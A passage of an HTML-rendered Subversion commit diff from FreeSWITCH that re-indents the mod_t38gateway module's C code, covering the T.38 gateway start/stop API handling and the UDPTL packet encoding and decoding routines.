+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(data, &quot;stop&quot;) == 0) {
+                        switch_channel_set_private(channel, &quot;_t38gateway_&quot;, NULL);
+                        switch_core_media_bug_remove(session, &amp;bug);
+                        return;
+                }
</ins><span class="cx"> 
</span><del>-        /* We have already started */
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</ins><span class="cx"> 
</span><del>-        return;
-    }
</del><ins>+                return;
+        }
</ins><span class="cx"> 
</span><del>-    t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
</del><ins>+        t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
</ins><span class="cx"> 
</span><del>-    t38gateway_info-&gt;session = session;
-    t38gateway_info-&gt;t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
-    t38gateway_info-&gt;t38_core = t38_gateway_get_t38_core_state(t38gateway_info-&gt;t38);
-    t38gateway_info-&gt;udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</del><ins>+        t38gateway_info-&gt;session = session;
+        t38gateway_info-&gt;t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+        t38gateway_info-&gt;t38_core = t38_gateway_get_t38_core_state(t38gateway_info-&gt;t38);
+        t38gateway_info-&gt;udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</ins><span class="cx"> 
</span><del>-    status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &amp;bug);
</del><ins>+        status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &amp;bug);
</ins><span class="cx"> 
</span><del>-    if (status != SWITCH_STATUS_SUCCESS) {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
-        return;
-    }
</del><ins>+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
+                return;
+        }
</ins><span class="cx"> 
</span><del>-    switch_channel_set_private(channel, &quot;_t38gateway_&quot;, bug);
</del><ins>+        switch_channel_set_private(channel, &quot;_t38gateway_&quot;, bug);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Called when the module shuts down
</span><span class="lines">@@ -214,9 +216,9 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
</span><span class="cx"> {
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;T.38 gateway disabled\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;T.38 gateway disabled\n&quot;);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief FreeSWITCH API handler function.
</span><span class="lines">@@ -228,110 +230,110 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_STANDARD_API(t38gateway_api_main)
</span><span class="cx"> {
</span><del>-    switch_core_session_t *t38gateway_session;
-    switch_media_bug_t *bug;
-    t38gateway_session_info_t *t38gateway_info;
-    switch_channel_t *channel;
-    switch_status_t status;
-    int argc;
-    char *argv[T38GATEWAY_PARAMS];
-    char *ccmd;
-    char *uuid;
-    char *command;
</del><ins>+        switch_core_session_t *t38gateway_session;
+        switch_media_bug_t *bug;
+        t38gateway_session_info_t *t38gateway_info;
+        switch_channel_t *channel;
+        switch_status_t status;
+        int argc;
+        char *argv[T38GATEWAY_PARAMS];
+        char *ccmd;
+        char *uuid;
+        char *command;
</ins><span class="cx"> 
</span><del>-    /* No command? Display usage */
-    if (cmd == NULL) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
-        return SWITCH_STATUS_SUCCESS;
-    }
</del><ins>+        /* No command? Display usage */
+        if (cmd == NULL) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-    /* Duplicated contents of original string */
-    ccmd = strdup(cmd);
-    /* Separate the arguments */
-    argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
</del><ins>+        /* Duplicated contents of original string */
+        ccmd = strdup(cmd);
+        /* Separate the arguments */
+        argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
</ins><span class="cx"> 
</span><del>-    /* If we don't have the expected number of parameters 
-     * display usage */
-    if (argc != T38GATEWAY_PARAMS) {
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
-        switch_safe_free(ccmd);
-        return SWITCH_STATUS_SUCCESS;
-    }
</del><ins>+        /* If we don't have the expected number of parameters 
+         * display usage */
+        if (argc != T38GATEWAY_PARAMS) {
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
+                switch_safe_free(ccmd);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-    uuid = argv[0];
-    command = argv[1];
</del><ins>+        uuid = argv[0];
+        command = argv[1];
</ins><span class="cx"> 
</span><del>-    /* using uuid locate a reference to the FreeSWITCH session */
-    t38gateway_session = switch_core_session_locate(uuid);
</del><ins>+        /* using uuid locate a reference to the FreeSWITCH session */
+        t38gateway_session = switch_core_session_locate(uuid);
</ins><span class="cx"> 
</span><del>-    /* If the session was not found exit */
-    if (t38gateway_session == NULL) {
-        switch_safe_free(ccmd);
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
-        return SWITCH_STATUS_FALSE;
-    }
</del><ins>+        /* If the session was not found exit */
+        if (t38gateway_session == NULL) {
+                switch_safe_free(ccmd);
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    /* Get current channel of the session to tag the session
-     * This indicates that our module is present */
-    channel = switch_core_session_get_channel(t38gateway_session);
</del><ins>+        /* Get current channel of the session to tag the session
+         * This indicates that our module is present */
+        channel = switch_core_session_get_channel(t38gateway_session);
</ins><span class="cx"> 
</span><del>-    /* Is this channel already set? */
-    bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_t38gateway_&quot;);
-    /* If yes */
-    if (bug != NULL) {
-        /* If we have a stop remove audio bug */
-        if (strcasecmp(command, &quot;stop&quot;) == 0) {
-            switch_channel_set_private(channel, &quot;_t38gateway_&quot;, NULL);
-            switch_core_media_bug_remove(t38gateway_session, &amp;bug);
-            switch_safe_free(ccmd);
-            stream-&gt;write_function(stream, &quot;+OK\n&quot;);
-            return SWITCH_STATUS_SUCCESS;
-        }
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_t38gateway_&quot;);
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(command, &quot;stop&quot;) == 0) {
+                        switch_channel_set_private(channel, &quot;_t38gateway_&quot;, NULL);
+                        switch_core_media_bug_remove(t38gateway_session, &amp;bug);
+                        switch_safe_free(ccmd);
+                        stream-&gt;write_function(stream, &quot;+OK\n&quot;);
+                        return SWITCH_STATUS_SUCCESS;
+                }
</ins><span class="cx"> 
</span><del>-        /* We have already started */
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Cannot run 2 at once on the same channel!\n&quot;);
</ins><span class="cx"> 
</span><del>-        switch_safe_free(ccmd);
-        return SWITCH_STATUS_FALSE;
-    }
</del><ins>+                switch_safe_free(ccmd);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    /* If we don't see the expected start exit */
-    if (strcasecmp(command, &quot;start&quot;) != 0) {
-        switch_safe_free(ccmd);
-        stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
-        return SWITCH_STATUS_FALSE;
-    }
</del><ins>+        /* If we don't see the expected start exit */
+        if (strcasecmp(command, &quot;start&quot;) != 0) {
+                switch_safe_free(ccmd);
+                stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, T38GATEWAY_SYNTAX);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    /* Allocate memory attached to this FreeSWITCH session for
-     * use in the callback routine and to store state information */
-    t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
</del><ins>+        /* Allocate memory attached to this FreeSWITCH session for
+         * use in the callback routine and to store state information */
+        t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
</ins><span class="cx"> 
</span><del>-    /* Set initial values and states */
-    t38gateway_info-&gt;session = t38gateway_session;
-    t38gateway_info-&gt;t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
-    t38gateway_info-&gt;t38_core = t38_gateway_get_t38_core_state(t38gateway_info-&gt;t38);
-    t38gateway_info-&gt;udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</del><ins>+        /* Set initial values and states */
+        t38gateway_info-&gt;session = t38gateway_session;
+        t38gateway_info-&gt;t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+        t38gateway_info-&gt;t38_core = t38_gateway_get_t38_core_state(t38gateway_info-&gt;t38);
+        t38gateway_info-&gt;udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</ins><span class="cx"> 
</span><del>-    /* Add a media bug that allows me to intercept the 
-     * reading leg of the audio stream */
-    status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &amp;bug);
</del><ins>+        /* Add a media bug that allows me to intercept the 
+         * reading leg of the audio stream */
+        status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &amp;bug);
</ins><span class="cx"> 
</span><del>-    /* If adding a media bug fails exit */
-    if (status != SWITCH_STATUS_SUCCESS) {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
</del><ins>+        /* If adding a media bug fails exit */
+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failure hooking to stream\n&quot;);
</ins><span class="cx"> 
</span><del>-        switch_safe_free(ccmd);
-        return SWITCH_STATUS_FALSE;
-    }
</del><ins>+                switch_safe_free(ccmd);
+                return SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    /* Set the t38gateway tag to detect an existing t38gateway media bug */
-    switch_channel_set_private(channel, &quot;_t38gateway_&quot;, bug);
</del><ins>+        /* Set the t38gateway tag to detect an existing t38gateway media bug */
+        switch_channel_set_private(channel, &quot;_t38gateway_&quot;, bug);
</ins><span class="cx"> 
</span><del>-    /* Everything went according to plan! Notify the user */
-    stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</del><ins>+        /* Everything went according to plan! Notify the user */
+        stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</ins><span class="cx"> 
</span><del>-    switch_safe_free(ccmd);
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_safe_free(ccmd);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_t38gatewayudptlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -36,561 +36,528 @@
</span><span class="cx"> 
</span><span class="cx"> static int decode_length(const uint8_t *buf, int limit, int *len, int *pvalue)
</span><span class="cx"> {
</span><del>-    if (*len &gt;= limit)
-        return -1;
-    if ((buf[*len] &amp; 0x80) == 0)
-    {
-        *pvalue = buf[(*len)++];
-        return 0;
-    }
-    if ((buf[*len] &amp; 0x40) == 0)
-    {
-        if (*len &gt;= limit - 1)
-            return -1;
-        *pvalue = (buf[(*len)++] &amp; 0x3F) &lt;&lt; 8;
-        *pvalue |= buf[(*len)++];
-        return 0;
-    }
-    *pvalue = (buf[(*len)++] &amp; 0x3F) &lt;&lt; 14;
-    /* Indicate we have a fragment */
-    return 1;
</del><ins>+        if (*len &gt;= limit)
+                return -1;
+        if ((buf[*len] &amp; 0x80) == 0) {
+                *pvalue = buf[(*len)++];
+                return 0;
+        }
+        if ((buf[*len] &amp; 0x40) == 0) {
+                if (*len &gt;= limit - 1)
+                        return -1;
+                *pvalue = (buf[(*len)++] &amp; 0x3F) &lt;&lt; 8;
+                *pvalue |= buf[(*len)++];
+                return 0;
+        }
+        *pvalue = (buf[(*len)++] &amp; 0x3F) &lt;&lt; 14;
+        /* Indicate we have a fragment */
+        return 1;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><del>-static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t **p_object, int *p_num_octets)
</del><ins>+static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t ** p_object, int *p_num_octets)
</ins><span class="cx"> {
</span><del>-    int octet_cnt;
-    int octet_idx;
-    int stat;
-    int i;
-    const uint8_t **pbuf;
</del><ins>+        int octet_cnt;
+        int octet_idx;
+        int stat;
+        int i;
+        const uint8_t **pbuf;
</ins><span class="cx"> 
</span><del>-    for (octet_idx = 0, *p_num_octets = 0;  ;  octet_idx += octet_cnt)
-    {
-        if ((stat = decode_length(buf, limit, len, &amp;octet_cnt)) &lt; 0)
-            return -1;
-        if (octet_cnt &gt; 0)
-        {
-            *p_num_octets += octet_cnt;
</del><ins>+        for (octet_idx = 0, *p_num_octets = 0;; octet_idx += octet_cnt) {
+                if ((stat = decode_length(buf, limit, len, &amp;octet_cnt)) &lt; 0)
+                        return -1;
+                if (octet_cnt &gt; 0) {
+                        *p_num_octets += octet_cnt;
</ins><span class="cx"> 
</span><del>-            pbuf = &amp;p_object[octet_idx];
-            i = 0;
-            /* Make sure the buffer contains at least the number of bits requested */
-            if ((*len + octet_cnt) &gt; limit)
-                return -1;
</del><ins>+                        pbuf = &amp;p_object[octet_idx];
+                        i = 0;
+                        /* Make sure the buffer contains at least the number of bits requested */
+                        if ((*len + octet_cnt) &gt; limit)
+                                return -1;
</ins><span class="cx"> 
</span><del>-            *pbuf = &amp;buf[*len];
-            *len += octet_cnt;
-        }
-        if (stat == 0)
-            break;
-    }
-    return 0;
</del><ins>+                        *pbuf = &amp;buf[*len];
+                        *len += octet_cnt;
+                }
+                if (stat == 0)
+                        break;
+        }
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> static int encode_length(uint8_t *buf, int *len, int value)
</span><span class="cx"> {
</span><del>-    int multiplier;
</del><ins>+        int multiplier;
</ins><span class="cx"> 
</span><del>-    if (value &lt; 0x80)
-    {
-        /* 1 octet */
-        buf[(*len)++] = value;
-        return value;
-    }
-    if (value &lt; 0x4000)
-    {
-        /* 2 octets */
-        /* Set the first bit of the first octet */
-        buf[(*len)++] = ((0x8000 | value) &gt;&gt; 8) &amp; 0xFF;
-        buf[(*len)++] = value &amp; 0xFF;
-        return value;
-    }
-    /* Fragmentation */
-    multiplier = (value &lt; 0x10000)  ?  (value &gt;&gt; 14)  :  4;
-    /* Set the first 2 bits of the octet */
-    buf[(*len)++] = 0xC0 | multiplier;
-    return multiplier &lt;&lt; 14;
</del><ins>+        if (value &lt; 0x80) {
+                /* 1 octet */
+                buf[(*len)++] = value;
+                return value;
+        }
+        if (value &lt; 0x4000) {
+                /* 2 octets */
+                /* Set the first bit of the first octet */
+                buf[(*len)++] = ((0x8000 | value) &gt;&gt; 8) &amp; 0xFF;
+                buf[(*len)++] = value &amp; 0xFF;
+                return value;
+        }
+        /* Fragmentation */
+        multiplier = (value &lt; 0x10000) ? (value &gt;&gt; 14) : 4;
+        /* Set the first 2 bits of the octet */
+        buf[(*len)++] = 0xC0 | multiplier;
+        return multiplier &lt;&lt; 14;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> static int encode_open_type(uint8_t *buf, int *len, const uint8_t *data, int num_octets)
</span><span class="cx"> {
</span><del>-    int enclen;
-    int octet_idx;
-    uint8_t zero_byte;
</del><ins>+        int enclen;
+        int octet_idx;
+        uint8_t zero_byte;
</ins><span class="cx"> 
</span><del>-    /* If open type is of zero length, add a single zero byte (10.1) */
-    if (num_octets == 0)
-    {
-        zero_byte = 0;
-        data = &amp;zero_byte;
-        num_octets = 1;
-    }
-    /* Encode the open type */
-    for (octet_idx = 0;  ;  num_octets -= enclen, octet_idx += enclen)
-    {
-        if ((enclen = encode_length(buf, len, num_octets)) &lt; 0)
-            return -1;
-        if (enclen &gt; 0)
-        {
-            memcpy(&amp;buf[*len], &amp;data[octet_idx], enclen);
-            *len += enclen;
-        }
-        if (enclen &gt;= num_octets)
-            break;
-    }
</del><ins>+        /* If open type is of zero length, add a single zero byte (10.1) */
+        if (num_octets == 0) {
+                zero_byte = 0;
+                data = &amp;zero_byte;
+                num_octets = 1;
+        }
+        /* Encode the open type */
+        for (octet_idx = 0;; num_octets -= enclen, octet_idx += enclen) {
+                if ((enclen = encode_length(buf, len, num_octets)) &lt; 0)
+                        return -1;
+                if (enclen &gt; 0) {
+                        memcpy(&amp;buf[*len], &amp;data[octet_idx], enclen);
+                        *len += enclen;
+                }
+                if (enclen &gt;= num_octets)
+                        break;
+        }
</ins><span class="cx"> 
</span><del>-    return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len)
</span><span class="cx"> {
</span><del>-    int stat;
-    int stat2;
-    int i;
-    int j;
-    int k;
-    int l;
-    int m;
-    int x;
-    int limit;
-    int which;
-    int ptr;
-    int count;
-    int total_count;
-    int seq_no;
-    const uint8_t *msg;
-    const uint8_t *data;
-    int msg_len;
-    int repaired[16];
-    const uint8_t *bufs[16];
-    int lengths[16];
-    int span;
-    int entries;
</del><ins>+        int stat;
+        int stat2;
+        int i;
+        int j;
+        int k;
+        int l;
+        int m;
+        int x;
+        int limit;
+        int which;
+        int ptr;
+        int count;
+        int total_count;
+        int seq_no;
+        const uint8_t *msg;
+        const uint8_t *data;
+        int msg_len;
+        int repaired[16];
+        const uint8_t *bufs[16];
+        int lengths[16];
+        int span;
+        int entries;
</ins><span class="cx"> 
</span><del>-    ptr = 0;
-    /* Decode seq_number */
-    if (ptr + 2 &gt; len)
-        return -1;
-    seq_no = (buf[0] &lt;&lt; 8) | buf[1];
-    ptr += 2;
-    /* Break out the primary packet */
-    if ((stat = decode_open_type(buf, len, &amp;ptr, &amp;msg, &amp;msg_len)) != 0)
-        return -1;
-    /* Decode error_recovery */
-    if (ptr + 1 &gt; len)
-        return -1;
-    /* Our buffers cannot tolerate overlength packets */
-    if (msg_len &gt; LOCAL_FAX_MAX_DATAGRAM)
-        return -1;
-    /* Update any missed slots in the buffer */
-    for (i = s-&gt;rx_seq_no;  seq_no &gt; i;  i++)
-    {
-        x = i &amp; UDPTL_BUF_MASK;
-        s-&gt;rx[x].buf_len = -1;
-        s-&gt;rx[x].fec_len[0] = 0;
-        s-&gt;rx[x].fec_span = 0;
-        s-&gt;rx[x].fec_entries = 0;
-    }
-    /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
-       into FEC mode after sending some redundant packets. */
-    x = seq_no &amp; UDPTL_BUF_MASK;
-    memcpy(s-&gt;rx[x].buf, msg, msg_len);
-    s-&gt;rx[x].buf_len = msg_len;
-    s-&gt;rx[x].fec_len[0] = 0;
-    s-&gt;rx[x].fec_span = 0;
-    s-&gt;rx[x].fec_entries = 0;
-    if ((buf[ptr++] &amp; 0x80) == 0)
-    {
-        /* Secondary packet mode for error recovery */
-        /* We might have the packet we want, but we need to check through
-           the redundant stuff, and verify the integrity of the UDPTL.
-           This greatly reduces our chances of accepting garbage. */
-        total_count = 0;
-        do
-        {
-            if ((stat2 = decode_length(buf, len, &amp;ptr, &amp;count)) &lt; 0)
-                return -1;
-            for (i = 0;  i &lt; count;  i++)
-            {
-                if ((stat = decode_open_type(buf, len, &amp;ptr, &amp;bufs[total_count + i], &amp;lengths[total_count + i])) != 0)
-                    return -1;
-            }
-            total_count += count;
-        }
-        while (stat2 &gt; 0);
-        /* We should now be exactly at the end of the packet. If not, this is a fault. */
-        if (ptr != len)
-            return -1;
-        if (seq_no &gt; s-&gt;rx_seq_no)
-        {
-            /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
-               secondary packets. */
-            /* Step through in reverse order, so we go oldest to newest */
-            for (i = total_count;  i &gt; 0;  i--)
-            {
-                if (seq_no - i &gt;= s-&gt;rx_seq_no)
-                {
-                    /* This one wasn't seen before */
-                    /* Decode the secondary packet */
</del><ins>+        ptr = 0;
+        /* Decode seq_number */
+        if (ptr + 2 &gt; len)
+                return -1;
+        seq_no = (buf[0] &lt;&lt; 8) | buf[1];
+        ptr += 2;
+        /* Break out the primary packet */
+        if ((stat = decode_open_type(buf, len, &amp;ptr, &amp;msg, &amp;msg_len)) != 0)
+                return -1;
+        /* Decode error_recovery */
+        if (ptr + 1 &gt; len)
+                return -1;
+        /* Our buffers cannot tolerate overlength packets */
+        if (msg_len &gt; LOCAL_FAX_MAX_DATAGRAM)
+                return -1;
+        /* Update any missed slots in the buffer */
+        for (i = s-&gt;rx_seq_no; seq_no &gt; i; i++) {
+                x = i &amp; UDPTL_BUF_MASK;
+                s-&gt;rx[x].buf_len = -1;
+                s-&gt;rx[x].fec_len[0] = 0;
+                s-&gt;rx[x].fec_span = 0;
+                s-&gt;rx[x].fec_entries = 0;
+        }
+        /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
+           into FEC mode after sending some redundant packets. */
+        x = seq_no &amp; UDPTL_BUF_MASK;
+        memcpy(s-&gt;rx[x].buf, msg, msg_len);
+        s-&gt;rx[x].buf_len = msg_len;
+        s-&gt;rx[x].fec_len[0] = 0;
+        s-&gt;rx[x].fec_span = 0;
+        s-&gt;rx[x].fec_entries = 0;
+        if ((buf[ptr++] &amp; 0x80) == 0) {
+                /* Secondary packet mode for error recovery */
+                /* We might have the packet we want, but we need to check through
+                   the redundant stuff, and verify the integrity of the UDPTL.
+                   This greatly reduces our chances of accepting garbage. */
+                total_count = 0;
+                do {
+                        if ((stat2 = decode_length(buf, len, &amp;ptr, &amp;count)) &lt; 0)
+                                return -1;
+                        for (i = 0; i &lt; count; i++) {
+                                if ((stat = decode_open_type(buf, len, &amp;ptr, &amp;bufs[total_count + i], &amp;lengths[total_count + i])) != 0)
+                                        return -1;
+                        }
+                        total_count += count;
+                }
+                while (stat2 &gt; 0);
+                /* We should now be exactly at the end of the packet. If not, this is a fault. */
+                if (ptr != len)
+                        return -1;
+                if (seq_no &gt; s-&gt;rx_seq_no) {
+                        /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
+                           secondary packets. */
+                        /* Step through in reverse order, so we go oldest to newest */
+                        for (i = total_count; i &gt; 0; i--) {
+                                if (seq_no - i &gt;= s-&gt;rx_seq_no) {
+                                        /* This one wasn't seen before */
+                                        /* Decode the secondary packet */
</ins><span class="cx"> #if defined(UDPTL_DEBUG)
</span><del>-                    fprintf(stderr, &quot;Secondary %d, len %d\n&quot;, seq_no - i, lengths[i - 1]);
</del><ins>+                                        fprintf(stderr, &quot;Secondary %d, len %d\n&quot;, seq_no - i, lengths[i - 1]);
</ins><span class="cx"> #endif
</span><del>-                    /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
-                       FEC mode after sending some redundant packets, and this may then be important. */
-                    x = (seq_no - i) &amp; UDPTL_BUF_MASK;
-                    memcpy(s-&gt;rx[x].buf, bufs[i - 1], lengths[i - 1]);
-                    s-&gt;rx[x].buf_len = lengths[i - 1];
-                    s-&gt;rx[x].fec_len[0] = 0;
-                    s-&gt;rx[x].fec_span = 0;
-                    s-&gt;rx[x].fec_entries = 0;
-                    if (s-&gt;rx_packet_handler(s-&gt;user_data, bufs[i - 1], lengths[i - 1], seq_no - i) &lt; 0)
-                        fprintf(stderr, &quot;Bad IFP\n&quot;);
-                }
-            }
-        }
-    }
-    else
-    {
-        /* FEC mode for error recovery */
</del><ins>+                                        /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
+                                           FEC mode after sending some redundant packets, and this may then be important. */
+                                        x = (seq_no - i) &amp; UDPTL_BUF_MASK;
+                                        memcpy(s-&gt;rx[x].buf, bufs[i - 1], lengths[i - 1]);
+                                        s-&gt;rx[x].buf_len = lengths[i - 1];
+                                        s-&gt;rx[x].fec_len[0] = 0;
+                                        s-&gt;rx[x].fec_span = 0;
+                                        s-&gt;rx[x].fec_entries = 0;
+                                        if (s-&gt;rx_packet_handler(s-&gt;user_data, bufs[i - 1], lengths[i - 1], seq_no - i) &lt; 0)
+                                                fprintf(stderr, &quot;Bad IFP\n&quot;);
+                                }
+                        }
+                }
+        } else {
+                /* FEC mode for error recovery */
</ins><span class="cx"> 
</span><del>-        /* Decode the FEC packets */
-        /* The span is defined as an unconstrained integer, but will never be more
-           than a small value. */
-        if (ptr + 2 &gt; len)
-            return -1;
-        if (buf[ptr++] != 1)
-            return -1;
-        span = buf[ptr++];
</del><ins>+                /* Decode the FEC packets */
+                /* The span is defined as an unconstrained integer, but will never be more
+                   than a small value. */
+                if (ptr + 2 &gt; len)
+                        return -1;
+                if (buf[ptr++] != 1)
+                        return -1;
+                span = buf[ptr++];
</ins><span class="cx"> 
</span><del>-        x = seq_no &amp; UDPTL_BUF_MASK;
</del><ins>+                x = seq_no &amp; UDPTL_BUF_MASK;
</ins><span class="cx"> 
</span><del>-        s-&gt;rx[x].fec_span = span;
</del><ins>+                s-&gt;rx[x].fec_span = span;
</ins><span class="cx"> 
</span><del>-        memset(repaired, 0, sizeof(repaired));
-        repaired[x] = TRUE;
</del><ins>+                memset(repaired, 0, sizeof(repaired));
+                repaired[x] = TRUE;
</ins><span class="cx"> 
</span><del>-        /* The number of entries is defined as a length, but will only ever be a small
-           value. Treat it as such. */
-        if (ptr + 1 &gt; len)
-            return -1;
-        entries = buf[ptr++];
-        s-&gt;rx[x].fec_entries = entries;
</del><ins>+                /* The number of entries is defined as a length, but will only ever be a small
+                   value. Treat it as such. */
+                if (ptr + 1 &gt; len)
+                        return -1;
+                entries = buf[ptr++];
+                s-&gt;rx[x].fec_entries = entries;
</ins><span class="cx"> 
</span><del>-        /* Decode the elements */
-        for (i = 0;  i &lt; entries;  i++)
-        {
-            if ((stat = decode_open_type(buf, len, &amp;ptr, &amp;data, &amp;s-&gt;rx[x].fec_len[i])) != 0)
-                return -1;
-            if (s-&gt;rx[x].fec_len[i] &gt; LOCAL_FAX_MAX_DATAGRAM)
-                return -1;
</del><ins>+                /* Decode the elements */
+                for (i = 0; i &lt; entries; i++) {
+                        if ((stat = decode_open_type(buf, len, &amp;ptr, &amp;data, &amp;s-&gt;rx[x].fec_len[i])) != 0)
+                                return -1;
+                        if (s-&gt;rx[x].fec_len[i] &gt; LOCAL_FAX_MAX_DATAGRAM)
+                                return -1;
</ins><span class="cx"> 
</span><del>-            /* Save the new FEC data */
-            memcpy(s-&gt;rx[x].fec[i], data, s-&gt;rx[x].fec_len[i]);
</del><ins>+                        /* Save the new FEC data */
+                        memcpy(s-&gt;rx[x].fec[i], data, s-&gt;rx[x].fec_len[i]);
</ins><span class="cx"> #if 0
</span><del>-            fprintf(stderr, &quot;FEC: &quot;);
-            for (j = 0;  j &lt; s-&gt;rx[x].fec_len[i];  j++)
-                fprintf(stderr, &quot;%02X &quot;, data[j]);
-            fprintf(stderr, &quot;\n&quot;);
</del><ins>+                        fprintf(stderr, &quot;FEC: &quot;);
+                        for (j = 0; j &lt; s-&gt;rx[x].fec_len[i]; j++)
